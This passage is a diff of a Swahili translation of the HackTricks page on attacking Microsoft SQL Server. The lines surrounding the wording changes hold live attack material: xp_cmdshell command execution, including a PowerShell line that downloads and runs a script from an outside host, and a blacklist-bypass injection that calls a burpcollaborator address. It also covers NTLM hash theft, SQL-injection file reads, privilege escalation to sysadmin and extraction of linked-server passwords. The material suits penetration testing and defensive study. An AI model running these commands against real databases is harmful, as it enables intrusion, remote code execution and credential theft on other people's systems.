* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,7 +2,7 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
|
@ -10,15 +10,23 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
## Taarifa Msingi
|
## Taarifa Msingi
|
||||||
|
|
||||||
Kutoka [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
Kutoka [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||||
|
|
||||||
> **Microsoft SQL Server** ni **mfumo wa usimamizi wa database** wa uhusiano ulioundwa na Microsoft. Kama seva ya database, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kurejesha data kama inavyotakiwa na programu nyingine—ambazo zinaweza kukimbia kwenye kompyuta ile ile au kwenye kompyuta nyingine kwenye mtandao (ikiwa ni pamoja na Mtandao).
|
> **Microsoft SQL Server** ni **mfumo wa usimamizi wa database** wa uhusiano ulioundwa na Microsoft. Kama seva ya database, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kurejesha data kama inavyotakiwa na programu nyingine—ambazo zinaweza kukimbia kwenye kompyuta ile ile au kwenye kompyuta nyingine kupitia mtandao (ikiwa ni pamoja na Mtandao).
|
||||||
|
|
||||||
**Bandari ya chaguo:** 1433
|
**Bandari ya chaguo:** 1433
|
||||||
```
|
```
|
||||||
|
@ -28,9 +36,9 @@ Kutoka [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
|
||||||
|
|
||||||
* **Database ya msingi**: Hii ni database muhimu kwani inakamata maelezo yote ya kiwango cha mfumo kwa kifaa cha SQL Server.
|
* **Database ya msingi**: Hii ni database muhimu kwani inakamata maelezo yote ya kiwango cha mfumo kwa kifaa cha SQL Server.
|
||||||
* **Database ya msdb**: SQL Server Agent hutumia database hii kusimamia ratiba za tahadhari na kazi.
|
* **Database ya msdb**: SQL Server Agent hutumia database hii kusimamia ratiba za tahadhari na kazi.
|
||||||
* **Database ya mfano**: Inafanya kazi kama kielelezo kwa kila database mpya kwenye kifaa cha SQL Server, ambapo mabadiliko yoyote kama vile ukubwa, usanidi, mfano wa kupona, na zaidi yanafanana kwenye databases zilizoundwa hivi karibuni.
|
* **Database ya mfano**: Inafanya kazi kama kielelezo kwa kila database mpya kwenye kifaa cha SQL Server, ambapo mabadiliko yoyote kama vile ukubwa, usanidi, mfano wa kupona, na zaidi yanafanana katika databases mpya zilizoundwa.
|
||||||
* **Database ya Rasilimali**: Database isiyoweza kuhaririwa ambayo inahifadhi vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vimehifadhiwa kimwili kwenye database ya Rasilimali, kwa mantiki vinaonyeshwa kwenye schema ya sys ya kila database.
|
* **Database ya Rasilimali**: Database isiyoweza kuhaririwa ambayo inahifadhi vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vimehifadhiwa kimwili kwenye database ya Rasilimali, kwa mantiki vinaonyeshwa kwenye schema ya sys ya kila database.
|
||||||
* **Database ya tempdb**: Inafanya kazi kama eneo la kuhifadhi la muda kwa vitu vya muda au seti za matokeo ya kati.
|
* **Database ya tempdb**: Inafanya kama eneo la kuhifadhi la muda kwa vitu vya muda au seti za matokeo ya kati.
|
||||||
|
|
||||||
|
|
||||||
## Uchambuzi
|
## Uchambuzi
|
||||||
|
@ -80,7 +88,7 @@ msf> use windows/manage/mssql_local_auth_bypass
|
||||||
```
|
```
|
||||||
### [**Kujaribu nguvu**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
|
### [**Kujaribu nguvu**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
|
||||||
|
|
||||||
### Uchunguzi wa Mikono
|
### Uchambuzi wa Kibinafsi
|
||||||
|
|
||||||
#### Kuingia
|
#### Kuingia
|
||||||
```bash
|
```bash
|
||||||
|
@ -145,16 +153,16 @@ SELECT * FROM sysusers
|
||||||
```
|
```
|
||||||
#### Pata Ruhusa
|
#### Pata Ruhusa
|
||||||
|
|
||||||
1. **Inayoweza Kusimbwa:** Imetajwa kama rasilimali zinazosimamiwa na SQL Server kwa ajili ya kudhibiti ufikiaji. Hizi hugawanywa katika:
|
1. **Inayoweza Kusimbwa:** Imetajwa kama rasilimali zinazosimamiwa na SQL Server kwa ajili ya kudhibiti ufikiaji. Hizi hugawanywa katika makundi yafuatayo:
|
||||||
- **Server** - Mifano ni pamoja na maktaba za data, logins, endpoints, vikundi vya upatikanaji, na majukumu ya seva.
|
- **Server** - Mifano ni pamoja na maktaba za data, logins, endpoints, vikundi vya upatikanaji, na majukumu ya server.
|
||||||
- **Database** - Mifano hujumuisha majukumu ya maktaba ya data, majukumu ya programu, schema, vyeti, katalogi za maandishi kamili, na watumiaji.
|
- **Database** - Mifano hujumuisha majukumu ya maktaba ya data, majukumu ya programu, schema, vyeti, katalogi za maandishi kamili, na watumiaji.
|
||||||
- **Schema** - Inajumuisha meza, maoni, taratibu, kazi, visawe, n.k.
|
- **Schema** - Inajumuisha meza, maoni, taratibu, kazi, visawe, n.k.
|
||||||
|
|
||||||
2. **Ruhusa:** Zinahusishwa na inayoweza kusimbwa ya SQL Server, ruhusa kama vile ALTER, CONTROL, na CREATE zinaweza kutolewa kwa mkuu. Usimamizi wa ruhusa hufanyika katika viwango viwili:
|
2. **Ruhusa:** Zinahusishwa na inayoweza kusimbwa ya SQL Server, ruhusa kama vile ALTER, CONTROL, na CREATE zinaweza kutolewa kwa mada. Usimamizi wa ruhusa hufanyika katika viwango viwili:
|
||||||
- **Viwango vya Seva** kwa kutumia logins
|
- **Viwango vya Server** kwa kutumia logins
|
||||||
- **Viwango vya Maktaba ya Data** kwa kutumia watumiaji
|
- **Viwango vya Database** kwa kutumia watumiaji
|
||||||
|
|
||||||
3. **Mkuu:** Istilahi hii inahusu kifaa ambacho kimetolewa ruhusa ya inayoweza kusimbwa. Wakuu kwa kiasi kikubwa ni pamoja na logins na watumiaji wa maktaba ya data. Udhibiti wa ufikiaji wa inayoweza kusimbwa hufanywa kupitia kutoa au kukataa ruhusa au kwa kuwaingiza logins na watumiaji katika majukumu yenye haki za ufikiaji.
|
3. **Mada:** Istilahi hii inahusu kwa kifupi kwa kifaa ambacho kimepewa ruhusa ya inayoweza kusimbwa. Madaraka kuu yanajumuisha logins na watumiaji wa maktaba ya data. Udhibiti wa ufikiaji wa inayoweza kusimbwa hufanywa kupitia utoaji au kukataa ruhusa au kwa kuwaingiza logins na watumiaji katika majukumu yenye haki za ufikiaji.
|
||||||
```sql
|
```sql
|
||||||
# Show all different securables names
|
# Show all different securables names
|
||||||
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
|
||||||
|
@ -179,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
||||||
### Tekeleza Amri za OS
|
### Tekeleza Amri za OS
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Tafadhali kumbuka kwamba ili uweze kutekeleza amri, siyo tu muhimu kuwa na **`xp_cmdshell`** **imezimwa**, bali pia kuwa na **ruhusa ya KUTEKELEZA kwenye utaratibu uliowekwa wa `xp_cmdshell`**. Unaweza kupata ni nani (isipokuwa sysadmins) wanaweza kutumia **`xp_cmdshell`** na:
|
Tafadhali elewa kwamba ili uweze kutekeleza amri, siyo tu ni muhimu kuwa na **`xp_cmdshell`** **imezimwa**, bali pia kuwa na **ruhusa ya KUTEKELEZA kwenye utaratibu uliowekwa wa `xp_cmdshell`**. Unaweza kupata ni nani (isipokuwa sysadmins) wanaweza kutumia **`xp_cmdshell`** na:
|
||||||
```sql
|
```sql
|
||||||
Use master
|
Use master
|
||||||
EXEC sp_helprotect 'xp_cmdshell'
|
EXEC sp_helprotect 'xp_cmdshell'
|
||||||
|
@ -212,7 +220,7 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
|
||||||
# Bypass blackisted "EXEC xp_cmdshell"
|
# Bypass blackisted "EXEC xp_cmdshell"
|
||||||
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
|
||||||
```
|
```
|
||||||
### Pora hashi ya NetNTLM / Shambulio la kusambaza
|
### Pora Hashi ya NetNTLM / Shambulio la Kurelayi
|
||||||
|
|
||||||
Unapaswa kuanzisha **seva ya SMB** ili kukamata hashi inayotumiwa katika uwakiki (`impacket-smbserver` au `responder` kwa mfano).
|
Unapaswa kuanzisha **seva ya SMB** ili kukamata hashi inayotumiwa katika uwakiki (`impacket-smbserver` au `responder` kwa mfano).
|
||||||
```bash
|
```bash
|
||||||
|
@ -227,7 +235,7 @@ sudo impacket-smbserver share ./ -smb2support
|
||||||
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
|
||||||
```
|
```
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Unaweza kuangalia ni nani (isipokuwa sysadmins) ana ruhusa ya kuendesha hizo kazi za MSSQL kwa:
|
Unaweza kuangalia ni nani (isipokuwa sysadmins) ana ruhusa ya kukimbia hizo kazi za MSSQL kwa:
|
||||||
```sql
|
```sql
|
||||||
Use master;
|
Use master;
|
||||||
EXEC sp_helprotect 'xp_dirtree';
|
EXEC sp_helprotect 'xp_dirtree';
|
||||||
|
@ -253,7 +261,7 @@ Unaweza kuona jinsi ya kutumia zana hizi katika:
|
||||||
|
|
||||||
### **Andika Faili**
|
### **Andika Faili**
|
||||||
|
|
||||||
Kuandika faili kwa kutumia `MSSQL`, **tunahitaji kuwezesha** [**Taratibu za Ole Automation**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ambayo inahitaji mamlaka ya msimamizi, na kisha kutekeleza taratibu zilizohifadhiwa ili kuunda faili:
|
Kuandika faili kutumia `MSSQL`, tunahitaji **kuwezesha** [**Taratibu za Ole Automation**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ambayo inahitaji mamlaka ya msimamizi, na kisha kutekeleza taratibu zilizohifadhiwa ili kuunda faili:
|
||||||
```bash
|
```bash
|
||||||
# Enable Ole Automation Procedures
|
# Enable Ole Automation Procedures
|
||||||
sp_configure 'show advanced options', 1
|
sp_configure 'show advanced options', 1
|
||||||
|
@ -277,18 +285,18 @@ Kwa chaguo-msingi, `MSSQL` inaruhusu faili **kusomwa kwenye faili yoyote kwenye
|
||||||
```sql
|
```sql
|
||||||
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
|
||||||
```
|
```
|
||||||
Hata hivyo, chaguo la **`BULK`** linahitaji ruhusa ya **`ADMINISTER BULK OPERATIONS`** au **`ADMINISTER DATABASE BULK OPERATIONS`**.
|
Hata hivyo, chaguo la **`BULK`** linahitaji idhini ya **`ADMINISTER BULK OPERATIONS`** au **`ADMINISTER DATABASE BULK OPERATIONS`**.
|
||||||
```sql
|
```sql
|
||||||
# Check if you have it
|
# Check if you have it
|
||||||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
|
||||||
```
|
```
|
||||||
#### Kosa-msingi wa vekta kwa SQLi:
|
#### Kosa-msingi wa kuingiza kwa SQLi:
|
||||||
```
|
```
|
||||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||||
```
|
```
|
||||||
### **RCE/Soma faili zinazotekeleza scripts (Python na R)**
|
### **RCE/Soma faili zinazotekeleza scripts (Python na R)**
|
||||||
|
|
||||||
MSSQL inaweza kuruhusu wewe kutekeleza **scripts za Python na/au R**. Msimbo huu utatekelezwa na **mtumiaji tofauti** na yule anayetumia **xp\_cmdshell** kutekeleza amri.
|
MSSQL inaweza kuruhusu wewe kutekeleza **scripts za Python na/au R**. Msimbo huu utatekelezwa na **mtumiaji tofauti** kuliko yule anayetumia **xp\_cmdshell** kutekeleza amri.
|
||||||
|
|
||||||
Mfano wa kujaribu kutekeleza **'R'** _"Hellow World!"_ **haifanyi kazi**:
|
Mfano wa kujaribu kutekeleza **'R'** _"Hellow World!"_ **haifanyi kazi**:
|
||||||
|
|
||||||
|
@ -310,7 +318,7 @@ GO
|
||||||
```
|
```
|
||||||
### Soma Usajili
|
### Soma Usajili
|
||||||
|
|
||||||
Microsoft SQL Server hutoa **taratibu nyingi za kuhifadhi zilizopanuliwa** ambazo kuruhusu wewe kuingiliana si tu na mtandao bali pia na mfumo wa faili na hata [**Usajili wa Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
|
Microsoft SQL Server hutoa **taratibu nyingi za kuhifadhi zilizopanuliwa** ambazo kuruhusu wewe kuingiliana si tu na mtandao bali pia na mfumo wa faili na hata [**Usajili wa Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:**
|
||||||
|
|
||||||
| **Kawaida** | **Inayotambua-Instance** |
|
| **Kawaida** | **Inayotambua-Instance** |
|
||||||
| ---------------------------- | -------------------------------------- |
|
| ---------------------------- | -------------------------------------- |
|
||||||
|
@ -333,7 +341,7 @@ Use master;
|
||||||
EXEC sp_helprotect 'xp_regread';
|
EXEC sp_helprotect 'xp_regread';
|
||||||
EXEC sp_helprotect 'xp_regwrite';
|
EXEC sp_helprotect 'xp_regwrite';
|
||||||
```
|
```
|
||||||
Kwa **mfano zaidi** angalia [**chanzo cha asili**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
Kwa **mifano zaidi** angalia [**chanzo cha asili**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
|
||||||
|
|
||||||
### RCE na MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
### RCE na MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||||
|
|
||||||
|
@ -343,14 +351,13 @@ Inawezekana **kupakia dll ya .NET ndani ya MSSQL na kazi za desturi**. Hata hivy
|
||||||
|
|
||||||
### Njia Nyingine za RCE
|
### Njia Nyingine za RCE
|
||||||
|
|
||||||
Kuna njia nyingine za kupata utekelezaji wa amri, kama vile kuongeza [taratibu za kuhifadhiwa zilizoziduliwa](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Majumuisho ya CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Kazi za SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), na [maandishi ya nje](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
Kuna njia nyingine za kupata utekelezaji wa amri, kama vile kuongeza [taratibu za kuhifadhiwa zilizoziduliwa](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Mkusanyiko wa CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Kazi za SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), na [maandishi ya nje](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
|
||||||
|
|
||||||
|
## Ukarabati wa Mamlaka ya MSSQL
|
||||||
## Ukarabati wa Mamlaka wa MSSQL
|
|
||||||
|
|
||||||
### Kutoka db\_owner hadi sysadmin
|
### Kutoka db\_owner hadi sysadmin
|
||||||
|
|
||||||
Ikiwa **mtumiaji wa kawaida** anapewa jukumu la **`db_owner`** juu ya **database iliyo milikiwa na mtumiaji wa admin** (kama vile **`sa`**) na hiyo database imeboreshwa kama **`trustworthy`**, mtumiaji huyo anaweza kutumia mamlaka haya kwa **privesc** kwa sababu taratibu zilizohifadhiwa zinaweza **kutekelezwa** kama mmiliki (**admin**).
|
Ikiwa **mtumiaji wa kawaida** anapewa jukumu la **`db_owner`** juu ya **database iliyo milikiwa na mtumiaji wa admin** (kama vile **`sa`**) na database hiyo imeboreshwa kama **`trustworthy`**, mtumiaji huyo anaweza kutumia mamlaka haya kwa **privesc** kwa sababu taratibu zilizohifadhiwa zinaweza **kutekelezwa** kama mmiliki (**admin**).
|
||||||
```sql
|
```sql
|
||||||
# Get owners of databases
|
# Get owners of databases
|
||||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||||
|
@ -415,7 +422,7 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
|
||||||
Ikiwa unaweza kujifanya kuwa mtumiaji, hata kama si sysadmin, unapaswa kuangalia **i**ki mtumiaji ana **upatikanaji** wa **databases** au seva zilizounganishwa.
|
Ikiwa unaweza kujifanya kuwa mtumiaji, hata kama si sysadmin, unapaswa kuangalia **i**ki mtumiaji ana **upatikanaji** wa **databases** au seva zilizounganishwa.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Tafadhali kumbuka kuwa mara tu unapokuwa sysadmin unaweza kujifanya kuwa yeyote mwingine:
|
Tafadhali kumbuka kwamba mara tu unapokuwa sysadmin unaweza kujifanya kuwa mtumiaji mwingine yeyote:
|
||||||
```sql
|
```sql
|
||||||
-- Impersonate RegUser
|
-- Impersonate RegUser
|
||||||
EXECUTE AS LOGIN = 'RegUser'
|
EXECUTE AS LOGIN = 'RegUser'
|
||||||
|
@ -439,29 +446,29 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||||
|
|
||||||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||||
|
|
||||||
## Kuchimba Nywila kutoka kwa Seva za SQL Server Zilizounganishwa
|
## Kuchimbua Nywila kutoka kwa Seva za SQL Server Zilizounganishwa
|
||||||
Mshambuliaji anaweza kuchimba nywila za Seva za SQL Server Zilizounganishwa kutoka kwa Mifano ya SQL na kuzipata kwa maandishi wazi, hivyo kupata nywila ambazo zinaweza kutumika kupata udhibiti mkubwa zaidi kwenye lengo.
|
Mshambuliaji anaweza kuchimbua nywila za Seva za SQL Server Zilizounganishwa kutoka kwa Mifano ya SQL na kuzipata kwa maandishi wazi, hivyo kumpa mshambuliaji nywila ambazo zinaweza kutumika kupata msingi mkubwa zaidi kwenye lengo.
|
||||||
Skripti ya kuchimba na kufichua nywila zilizohifadhiwa kwa Seva Zilizounganishwa inaweza kupatikana [hapa](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
Script ya kuchimba na kufichua nywila zilizohifadhiwa kwa Seva Zilizounganishwa inaweza kupatikana [hapa](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||||
|
|
||||||
Baadhi ya mahitaji na mipangilio lazima ifanywe ili kashfa hii ifanye kazi.
|
Baadhi ya mahitaji na mipangilio lazima ifanywe ili kufanikisha shambulizi hili.
|
||||||
Kwanza kabisa, lazima uwe na Haki za Msimamizi kwenye mashine, au uwezo wa kusimamia Mipangilio ya Seva ya SQL.
|
Kwanza kabisa, lazima uwe na Haki za Msimamizi kwenye mashine, au uwezo wa kusimamia Mipangilio ya Seva ya SQL.
|
||||||
|
|
||||||
Baada ya kuthibitisha ruhusa zako, unahitaji kusanidi mambo matatu, ambayo ni haya yafuatayo:
|
Baada ya kuthibitisha ruhusa zako, unahitaji kusanidi mambo matatu, ambayo ni haya yafuatayo:
|
||||||
1. Wezesha TCP/IP kwenye mifano ya SQL Server;
|
1. Wezesha TCP/IP kwenye mifano ya SQL Server;
|
||||||
2. Ongeza Parameta ya Kuanza, katika kesi hii, bendera ya kufuatilia itaongezwa, ambayo ni -T7806.
|
2. Ongeza Parameta ya Kuanza, katika kesi hii, bendera ya kufuatilia itaongezwa, ambayo ni -T7806.
|
||||||
3. Wezesha uunganisho wa usimamizi wa mbali.
|
3. Wezesha uunganisho wa msimamizi wa mbali.
|
||||||
|
|
||||||
Ili kiotomatiki mipangilio hii, [hifadhi hii ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ina skripti zinazohitajika.
|
Ili kiotomatiki mipangilio hii, [repo hii](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ina hati zinazohitajika.
|
||||||
Mbali na kuwa na skripti ya powershell kwa kila hatua ya usanidi, hifadhi pia ina skripti kamili ambayo inachanganya skripti za usanidi na uchimbaji na ufichuaji wa nywila.
|
Mbali na kuwa na hati ya powershell kwa kila hatua ya usanidi, repo pia ina hati kamili ambayo inachanganya hati za usanidi na uchimbaji na ufichuaji wa nywila.
|
||||||
|
|
||||||
Kwa habari zaidi, tazama viungo vifuatavyo kuhusu shambulizi hili:
|
Kwa habari zaidi, tazama viungo vifuatavyo kuhusu shambulizi hili:
|
||||||
[Ufichuaji wa Nywila za Seva za Link za Database za MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
[Ufichuaji wa Nywila za Seva za Database za MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||||
|
|
||||||
[Kutatua Matatizo ya Uunganisho wa Usimamizi wa Kipekee wa SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
[Kutatua Matatizo ya Uunganisho wa Msimamizi wa Kujitolea wa SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||||
|
|
||||||
## Kupandisha Hadhi ya Mamlaka ya Kienyeji
|
## Kupandisha Hadhi ya Mamlaka ya Kienyeji
|
||||||
|
|
||||||
Mtumiaji anayeendesha seva ya MSSQL atakuwa amewezesha tokeni ya mamlaka **SeImpersonatePrivilege.**\
|
Mtumiaji anayeendesha seva ya MSSQL atakuwa amewezesha token ya mamlaka **SeImpersonatePrivilege.**\
|
||||||
Huenda utaweza **kupanda hadhi hadi Msimamizi** kufuatia moja ya kurasa hizi 2:
|
Huenda utaweza **kupanda hadhi hadi Msimamizi** kufuatia moja ya kurasa hizi 2:
|
||||||
|
|
||||||
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
|
||||||
|
@ -485,6 +492,15 @@ Huenda utaweza **kupanda hadhi hadi Msimamizi** kufuatia moja ya kurasa hizi 2:
|
||||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||||
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||||
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||||
|
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
## Amri za Kiotomatiki za HackTricks
|
||||||
```
|
```
|
||||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||||
Port_Number: 1433 #Comma separated if there is more than one.
|
Port_Number: 1433 #Comma separated if there is more than one.
|
||||||
|
@ -548,7 +564,7 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
